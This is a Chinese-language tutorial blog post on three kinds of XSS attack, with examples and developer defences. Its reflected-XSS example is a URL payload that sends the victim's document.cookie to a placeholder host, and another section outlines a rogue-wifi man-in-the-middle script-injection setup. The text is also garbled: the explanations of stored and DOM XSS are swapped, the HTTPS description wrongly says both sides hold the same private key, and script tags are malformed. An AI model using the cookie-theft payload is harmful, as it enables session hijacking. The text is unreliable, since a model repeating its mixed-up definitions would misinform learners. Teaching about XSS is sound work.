常见的几种XSS攻击

Posted 晨凨习习

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了常见的几种XSS攻击相关的知识,希望对你有一定的参考价值。

反射型XSS
 

1、原理

发请求时,XSS代码出现在URL中,提交给服务端。服务端返回的内容,也带上了这段XSS代码。最后浏览器执行XSS代码。

 

2、实例

 

http://aaaa/search?name=<script>document.location='http://xxx/get?cookie='+document.cookiescript>

 

3、开发安全措施

(1)、前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。

(2)、后端接收请求时,验证请求是否为攻击请求,比如我们接收的数据是用户年龄,那么在后端,需要判断一下数据是否是Number,攻击则屏蔽。

(3)、避免使用eval,new Function等执行字符串的方法,除非确定字符串和用户输入无关。

(4)、使用innerhtml,document.write的时候,如果数据是用户输入的,那么需要对关键字符都进行过滤与转义。

 

存储型XSS
 


1、原理

一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。

 

2、实例

(1)、发一篇文章,里面包含了恶意脚本

 

今天天气不错啊!<script>alert('handsome boy')script>

(2)、后端没有对文章进行过滤,直接保存文章内容到数据库。

(3)、当其他看这篇文章的时候,包含的恶意脚本就会执行。

 

3、开发安全措施

(1)、首要是服务端要进行过滤,因为前端的校验可以被绕过。

(2)、前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。

 


DOM XSS
 


1、原理

存储型和反射型的区别就是,提交的XSS代码会存储在服务器端。是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。

 

2、实例

wifi流量劫持,中间人可以看到用户的每一个请求,可以在页面嵌入恶意代码,使用恶意代码获取用户的信息,可以返回钓鱼页面。

(1)、提供一个免费的wifi。

(2)、开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。

(3)、之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。

(4)、收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。

 

3、开发安全措施

可以使用HTTPS,HTTPS会在请求数据之前进行一次握手,使得客户端与服务端都有一个私钥,服务端用这个私钥加密,客户端用这个私钥解密,这样即使数据被人截取了,也是加密后的数据。


以上是关于常见的几种XSS攻击的主要内容,如果未能解决你的问题,请参考以下文章

xss攻击的危害都有哪些?

常见的几种Web安全问题测试简介

总结几种常见web攻击手段及其防御方式

几种常见的网络攻击方式

总结几种常见web攻击手段极其防御方式

WEB网站常见受攻击方式及解决办法